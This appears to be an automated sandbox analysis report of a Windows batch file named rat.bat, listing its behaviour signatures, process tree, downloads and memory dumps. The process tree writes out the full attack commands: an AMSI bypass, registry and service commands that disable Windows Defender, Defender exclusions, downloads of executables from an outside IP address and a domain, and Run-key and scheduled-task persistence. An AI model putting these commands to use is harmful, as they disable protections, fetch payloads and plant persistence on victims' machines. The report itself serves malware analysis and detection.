Analysis

  • max time kernel
    150s
  • max time network
    137s
  • platform
    windows11-21h2_x64
  • resource
    win11-20260513-en
  • resource tags

    arch:x64arch:x86image:win11-20260513-enlocale:en-usos:windows11-21h2-x64systemwindows
  • submitted
    17/05/2026, 12:31

General

  • Target
    rat.bat
  • Size 4KB
  • Sample260517-pp3byagt2t
  • SHA256 2d8c6f65e71fe53ec669297909dfd7090c0585bd79e5561b325c6ace4409c5fd
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Modifies Windows Defender DisableAntiSpyware settings 3 TTPs 1 IoCs
  • Modifies Windows Defender Real-time Protection settings 3 TTPs 6 IoCs
  • Modifies Windows Defender TamperProtection settings 3 TTPs 1 IoCs
  • Badlisted process makes network request 2 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 6 IoCs

    Using powershell.exe command.

  • Drops file in Drivers directory 1 IoCs
  • Disables service(s) 3 TTPs
  • Executes dropped EXE 1 IoCs
  • Adds Run key to start application 2 TTPs 2 IoCs
  • Launches sc.exe 2 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Delays execution with timeout.exe 1 IoCs
  • Modifies system certificate store 2 TTPs 5 IoCs
  • Runs net.exe
  • Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 13 IoCs
  • Suspicious use of AdjustPrivilegeToken 7 IoCs
  • Suspicious use of WriteProcessMemory 27 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

  • Views/modifies file attributes 1 TTPs 1 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\rat.bat"
    1⤵
    • Drops file in Drivers directory
    • Suspicious use of WriteProcessMemory
    PID:5032
    • C:\Windows\system32\net.exe
      net file
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:4284
      • C:\Windows\system32\net1.exe
        C:\Windows\system32\net1 file
        3⤵
          PID:4268
      • C:\Windows\system32\attrib.exe
        attrib +h +s "C:\Users\Admin\AppData\Local\Temp\w17681"
        2⤵
        • Views/modifies file attributes
        PID:5052
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -ep bypass -c "$a=[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils');$f=$a.GetField('amsiInitFailed','NonPublic,Static');$f.SetValue($null,$true)"
        2⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:4276
      • C:\Windows\system32\reg.exe
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f
        2⤵
        • Modifies Windows Defender DisableAntiSpyware settings
        PID:1612
      • C:\Windows\system32\reg.exe
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f
        2⤵
        • Modifies Windows Defender Real-time Protection settings
        PID:1216
      • C:\Windows\system32\reg.exe
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableBehaviorMonitoring" /t REG_DWORD /d 1 /f
        2⤵
        • Modifies Windows Defender Real-time Protection settings
        PID:3452
      • C:\Windows\system32\reg.exe
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableOnAccessProtection" /t REG_DWORD /d 1 /f
        2⤵
        • Modifies Windows Defender Real-time Protection settings
        PID:3056
      • C:\Windows\system32\net.exe
        net stop WinDefend /y
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:1204
        • C:\Windows\system32\net1.exe
          C:\Windows\system32\net1 stop WinDefend /y
          3⤵
            PID:3368
        • C:\Windows\system32\net.exe
          net stop SecurityHealthService /y
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:4320
          • C:\Windows\system32\net1.exe
            C:\Windows\system32\net1 stop SecurityHealthService /y
            3⤵
              PID:3992
          • C:\Windows\system32\sc.exe
            sc config WinDefend start= disabled
            2⤵
            • Launches sc.exe
            PID:1416
          • C:\Windows\system32\sc.exe
            sc config SecurityHealthService start= disabled
            2⤵
            • Launches sc.exe
            PID:2852
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            powershell -c "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\w17681' -ErrorAction SilentlyContinue"
            2⤵
            • Command and Scripting Interpreter: PowerShell
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:4508
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            powershell -c "Add-MpPreference -ExclusionProcess 's.exe' -ErrorAction SilentlyContinue"
            2⤵
            • Command and Scripting Interpreter: PowerShell
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:2528
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            powershell -c "Add-MpPreference -ExclusionExtension '.exe' -ErrorAction SilentlyContinue"
            2⤵
            • Command and Scripting Interpreter: PowerShell
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:5100
          • C:\Windows\system32\certutil.exe
            certutil -urlcache -split -f http://5.180.82.139:8004 "C:\Users\Admin\AppData\Local\Temp\w17681\s.exe"
            2⤵
              PID:3808
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              powershell -c "Invoke-WebRequest http://5.180.82.139:8004 -OutFile 'C:\Users\Admin\AppData\Local\Temp\w17681\s.exe' -UseBasicParsing"
              2⤵
              • Badlisted process makes network request
              • Command and Scripting Interpreter: PowerShell
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              PID:2036
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              powershell -c "Invoke-WebRequest https://getsolara.dev/download/static/files/BootstrapperNew.exe -OutFile 'C:\Users\Admin\AppData\Local\Temp\w17681\b.exe' -UseBasicParsing"
              2⤵
              • Badlisted process makes network request
              • Command and Scripting Interpreter: PowerShell
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              PID:2740
            • C:\Users\Admin\AppData\Local\Temp\w17681\b.exe
              "C:\Users\Admin\AppData\Local\Temp\w17681\b.exe" -q
              2⤵
              • Executes dropped EXE
              • Modifies system certificate store
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              PID:4832
            • C:\Windows\system32\reg.exe
              reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "WindowsUpdate" /t REG_SZ /d "C:\Users\Admin\AppData\Local\Temp\w17681\s.exe" /f
              2⤵
              • Adds Run key to start application
              PID:4452
            • C:\Windows\system32\reg.exe
              reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "WindowsUpdate" /t REG_SZ /d "C:\Users\Admin\AppData\Local\Temp\w17681\s.exe" /f
              2⤵
              • Adds Run key to start application
              PID:2028
            • C:\Windows\system32\schtasks.exe
              schtasks /create /tn "Microsoft\Windows\SystemMaintenance" /tr "C:\Users\Admin\AppData\Local\Temp\w17681\s.exe" /sc onlogon /ru system /f
              2⤵
              • Scheduled Task/Job: Scheduled Task
              PID:4864
            • C:\Windows\system32\reg.exe
              reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Features" /v "TamperProtection" /t REG_DWORD /d 0 /f
              2⤵
              • Modifies Windows Defender TamperProtection settings
              PID:1696
            • C:\Windows\system32\reg.exe
              reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Real-Time Protection" /v "DisableScanOnRealtimeEnable" /t REG_DWORD /d 1 /f
              2⤵
                PID:1116
              • C:\Windows\system32\timeout.exe
                timeout /t 3
                2⤵
                • Delays execution with timeout.exe
                PID:3452

            Network

                  MITRE ATT&CK Enterprise v16

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                  Downloads

                  powershell.exe.log

                  • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
                  • Size 2KB
                  • SHA256 85b280a39fc31ba1e15fb06102a05b8405ff3b82feb181d4170f04e466dd647c
                  • MD5 SHA1 SHA512 TLSH

                  StartupProfileData-NonInteractive

                  • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                  • Size 1KB
                  • SHA256 cee03c632c7a123c135feee525a624d1a155b5ac14dee6f6fd1b52b9f62f3fc3
                  • MD5 SHA1 SHA512 TLSH

                  StartupProfileData-NonInteractive

                  • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                  • Size 64B
                  • SHA256 46e488628e5348c9c4dfcdeed5a91747eae3b3aa49ae1b94d37173b6609efa0e
                  • MD5 SHA1 SHA512

                  StartupProfileData-NonInteractive

                  • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                  • Size 1KB
                  • SHA256 1057edd5aad92e6f7bec089c2d9e6d9d3600eb54e7c1166e275061e488f9f5e0
                  • MD5 SHA1 SHA512 TLSH

                  StartupProfileData-NonInteractive

                  • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                  • Size 1KB
                  • SHA256 7798a8626a4d7400bb8791ac82f724c49eee13c5f4461b02bfcd47e0f339d797
                  • MD5 SHA1 SHA512 TLSH

                  StartupProfileData-NonInteractive

                  • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                  • Size 1KB
                  • SHA256 2a534de78696e81f98781b1e18bfffbe58651f2da275da7d5d32f127f181bb34
                  • MD5 SHA1 SHA512 TLSH

                  __PSScriptPolicyTest_mze2bazx.exa.ps1

                  • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_mze2bazx.exa.ps1
                  • Size 60B
                  • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                  • MD5 SHA1 SHA512 TLSH

                  b.exe

                  • Path C:\Users\Admin\AppData\Local\Temp\w17681\b.exe
                  • Size 8.3MB
                  • SHA256 82e8904fd500c596b04786124a0515f1ecb9b9fc8b2187e449c30eeba1ba2316
                  • MD5 SHA1 SHA512 SSDEEP TLSH

                  memory/2036-98-0x00000213CDC30000-0x00000213CE6F2000-memory.dmp

                  memory/2528-53-0x000001ABE8C00000-0x000001ABE96C2000-memory.dmp

                  memory/2740-111-0x0000026571EF0000-0x00000265729B2000-memory.dmp

                  memory/2740-108-0x0000026571EF0000-0x00000265729B2000-memory.dmp

                  memory/2740-106-0x0000026571EF0000-0x00000265729B2000-memory.dmp

                  memory/4276-13-0x000001AAA3E20000-0x000001AAA48E2000-memory.dmp

                  memory/4276-0-0x000001AAA45EA000-0x000001AAA45EB000-memory.dmp

                  memory/4276-1-0x000001AABCC80000-0x000001AABCCA2000-memory.dmp

                  memory/4276-8-0x000001AAA3E20000-0x000001AAA48E2000-memory.dmp

                  memory/4276-9-0x000001AAA3E20000-0x000001AAA48E2000-memory.dmp

                  memory/4276-12-0x000001AAA3E20000-0x000001AAA48E2000-memory.dmp

                  memory/4508-30-0x000001935BB20000-0x000001935BB2A000-memory.dmp

                  memory/4508-34-0x000001935BF30000-0x000001935BF38000-memory.dmp

                  memory/4508-28-0x000001935BB30000-0x000001935BB4C000-memory.dmp

                  memory/4508-29-0x000001935BE60000-0x000001935BF13000-memory.dmp

                  memory/4508-36-0x000001935BF70000-0x000001935BF7A000-memory.dmp

                  memory/4508-33-0x000001935BF80000-0x000001935BF9A000-memory.dmp

                  memory/4508-32-0x000001935BF20000-0x000001935BF2A000-memory.dmp

                  memory/4508-35-0x000001935BF60000-0x000001935BF66000-memory.dmp

                  memory/4508-38-0x0000019342D90000-0x0000019343852000-memory.dmp

                  memory/4508-31-0x000001935BF40000-0x000001935BF5C000-memory.dmp

                  memory/4832-115-0x000001EA92290000-0x000001EA92AD6000-memory.dmp

                  memory/4832-116-0x000001EA94780000-0x000001EA94790000-memory.dmp

                  memory/4832-117-0x000001EAAD0C0000-0x000001EAAD0C8000-memory.dmp

                  memory/4832-118-0x000001EAAD160000-0x000001EAAD198000-memory.dmp

                  memory/4832-119-0x000001EAAD120000-0x000001EAAD12E000-memory.dmp

                  memory/5100-68-0x0000020A72710000-0x0000020A731D2000-memory.dmp